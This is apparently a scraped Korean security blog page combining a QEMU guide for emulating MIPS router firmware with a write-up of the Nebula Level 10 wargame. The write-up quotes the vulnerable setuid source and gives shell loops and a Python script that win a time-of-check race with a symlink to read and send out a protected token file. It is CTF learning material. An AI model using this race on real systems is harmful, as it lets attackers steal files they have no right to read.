'하드웨어 해킹 및 임베디드' 카테고리의 다른 글
임베디드 바이너리 분석 및 퍼징 등 (진행 중) (0) | 2025.02.02 |
---|---|
QEMU(Quick Amulator) 펌웨어 가상 공유 환경 구축 (0) | 2025.01.30 |
펌웨어 분석 건 (25년 1월) (0) | 2025.01.28 |
Bluetooth 공격 기법 (0) | 2023.06.30 |
Chapter 7. Device control (0) | 2023.06.25 |
임베디드 바이너리 분석 및 퍼징 등 (진행 중) (0) | 2025.02.02 |
---|---|
QEMU(Quick Amulator) 펌웨어 가상 공유 환경 구축 (0) | 2025.01.30 |
펌웨어 분석 건 (25년 1월) (0) | 2025.01.28 |
Bluetooth 공격 기법 (0) | 2023.06.30 |
Chapter 7. Device control (0) | 2023.06.25 |
https://liveyourit.tistory.com/83
QEMU, 펌웨어를 이용한 가상 공유기 환경 구축 (MIPS)
QEMU 에뮬레이터와 QEMU에 가상으로 실행시키고 싶은 공유기 펌웨어를 사용해 가상 공유기 환경을 구축하고 실행시켜보려고 한다. 구축 환경은 우분투 x64이고 펌웨어는 제조사 웹사이트에 공개된
liveyourit.tistory.com
바이너리 파일 다운로드 경로)
https://people.debian.org/~aurel32/qemu/
Index of /~aurel32/qemu
people.debian.org
- 환경 : Ubuntu x64 (ubuntu-22.04-beta-desktop-amd64
- Firmware : 제오사 웹사이트 내 공개된 구버전 펌웨어
- 파일시스템 : Mips
사용된 명령어
apt-get install qemu
apt-get install qemu-system-mips64
apt-get install wget
wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-5kc-malta
QEMU 구동 확인 및 로그인
qemu-system-mips64 -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"
이제 qemu를 실행시킬 준비는 다 되었다. 실행시킬 명령어의 인자가 꽤 복잡한데 하나씩 나누어 보면 이해하기 쉽다.
qemu-system-mips \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
다운로드한 커널과 이미지를 통해 가장 기본적인 옵션만 설정하고 qemu를 실행할 수 있지만, ssh 접속 등 동적 분석을 편리하게 하기 위해 몇 가지 옵션을 다음과 같이 추가하자.
qemu-system-mips \
-m 256 \
-M malta -kernel vmlinux-3.2.0-4-5kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net user,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:5555-:1234 \
-net nic,model=e1000
qemu-system-mips -m 256 -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net user,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:5555-:1234 -net nic,model=e1000
- m : 램(RAM) 크기를 설정하는 부분이다. (32-bit MIPS에서는 기본 128m, 최대 256m 인식)
- net : 포트 포워딩을 설정하는 부분이다. ip는 로컬 호스트로 설정하고 포트의 경우 2222 -> 22 (ssh)로, 5555 -> 1234 (gdbserver)로 설정해준다. (이전의 -redir 옵션은 deprecated 됐다고 한다. 위와 같은 형태로 옵션을 주자)
성공적으로 실행이 되었으면 root/root 혹은 user/user로 로그인이 가능하다.
apt-get update를 해도 패키지를 잘 못 찾아오는 것을 확인할 수 있다. /etc/apt/sources.list의 모든 내용을 주석처리하고 다음 라인을 추가해주자.
deb http://archive.debian.org/debian/ wheezy main contrib non-free
이후에 apt-get install gdbserver gdb로 gdbserver와 gdb를 설치해주자.
scp로 호스트에서 게스트로 babymips 파일을 복사 후, gdbserver를 실행시켜주자.
scp -P 2222 babymips(분석할 파일명) root@127.0.0.1:/root
gdbserver localhost:1234 ./babymips(분석할 파일명)
호스트에서 gdb-multiarch를 실행해준 후, target remote localhost:5555 명령어를 통해 게스트에서 실행되고 있는 gdbserver에 접속한다.
환경구축 완료
Nebula Level 10 (Race Condition) (0) | 2025.02.03 |
---|---|
Exploit tech : Return to Shellcode (펌) (0) | 2025.02.02 |
메모리 보호기법 Mitigation: NX & ASLR (펌) (0) | 2025.02.02 |
onone_gadget 설치 및 사용법 (펌) (0) | 2025.02.02 |
peda, pwndbg, gef 같이 쓰기 (펌) (0) | 2025.02.02 |
https://velog.io/@woounnan/PWNABLE-Nebula-Level-10
PWNABLE] Nebula Level 10
실행파일 인자로 파일, ip를 입력받고파일의 내용을 해당 ip의 18211 포트로 전송한다.level10 디렉토리에는 실행파일인 flag10과 플래그가 담긴 것으로 추측되는 token 파일을 확인할 수 있는데 당연하
velog.io
https://exploit.education/nebula/level-10/
아직 소스코드가 있었네
flag10.cpp
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
경쟁 조건 공격을 생각해볼 수 있다.
/tmp/level10/test라는 임의의 파일을 전송한다고 가정할 때, access()가 통과된 뒤에 이 test 파일을 삭제하고 token에 대한 심볼릭 링크를 test로 다시 생성한다면?
token의 내용을 대상 ip에게 전송할 것이다.
먼저 파일 내용을 수신하기 위해 netcat으로 18211 포트에 대해 리스닝한다.
netcat -l 18211 -k
다른 쉘에서는 옳은 권한의 파일 test를 생성한 뒤 flag10을 실행하여 access가 통과하도록 만든다.
while :;
do
rm /tmp/level10/test;
echo 'this is test flag' > /tmp/level10/test;
./flag10 /tmp/level10/test 127.0.0.1;
done
또 하나의 쉘을 열고, 기존의 옳은 권한의 test를 삭제하고 token에 대한 심볼릭 링크 파일로 바꾸는 동작을 반복 실행시킨다.
while :;
do
rm /tmp/level10/test;
ln -s /home/flag10/token /tmp/level10/test;
done
https://einai.tistory.com/entry/Nebula-Level09-Level10
[문제풀이] Nebula, Level09, Level10
※ LEVEL 09 Q. There’s a C setuid wrapper for some vulnerable PHP code… 1234567891011121314151617181920212223242526Colored by Color Scriptercs A. 여기는 /e modifier의 기능으로 발생되는 취약점이다. e(PCRE_REPLACE_EVAL) modifier 이 변
einai.tistory.com
본 워게임은 token 파일의 내용을 얻어야 하는데 보시다시피 읽기 권한이 없는 것을 알 수 있다. 따라서 조금 전에 말한 바와 같이 우리는 두 함수가 실행되는 그 차이를 이용해서 token 파일을 읽어올 것이다.
간단히 순서는
1. fake_token 파일 생성
2. fake_token 파일과 token 파일을 링크할 링크 파일 생성
3. 포트 오픈
4. flag10 실행 파일의 인자로 2번에서 생성한 링크 파일을 제공
https://flack3r.tistory.com/entry/exploit-exercisenebula-level10
[exploit exercise]nebula level10
...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다. import os import socket import subprocess import threading import time import signal def read_until(s,msg): tmp = "" while True: tmp += s.recv(1) if msg in tmp: print
flack3r.tistory.com
import os
import socket
import subprocess
import threading
import time
import signal
def read_until(s,msg):
tmp = ""
while True:
tmp += s.recv(1)
if msg in tmp:
print tmp
return
def GetFlag():
s = socket.socket()
Port = ('localhost',18211)
s.bind(Port)
s.listen(10)
while True:
cs,addr = s.accept()
#print "[*]serer start "
pid = os.fork()
if pid==0:
print "[*]server connection success ! "
print read_until(cs,".oO Oo.")
time.sleep(1)
buf = cs.recv(100)
print "[*]file is "+buf
os.system("echo \""+buf+"\"> result")
exit()
else:
os.waitpid(pid,0)
def Racefile():
while True:
os.system("rm -rf token")
os.system("echo 'aaa' >> token")
os.system("rm -rf token;ln -sf /home/flag10/token token")
def Attack():
while True:
args = "/home/flag10/flag10 token 127.0.0.1"
proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
output = proc.communicate()[0]
#print "[*]result: %s" %(output)
os.system("rm -rf token")
def main():
pid = os.fork()
if pid == 0:
Racefile()
pid2 = os.fork()
if pid2 == 0:
GetFlag()
Attack()
if __name__ == '__main__':
main()
Qemu 펌웨어 분석 환경 구축 (펌) (진행 중) (0) | 2025.02.04 |
---|---|
Exploit tech : Return to Shellcode (펌) (0) | 2025.02.02 |
메모리 보호기법 Mitigation: NX & ASLR (펌) (0) | 2025.02.02 |
onone_gadget 설치 및 사용법 (펌) (0) | 2025.02.02 |
peda, pwndbg, gef 같이 쓰기 (펌) (0) | 2025.02.02 |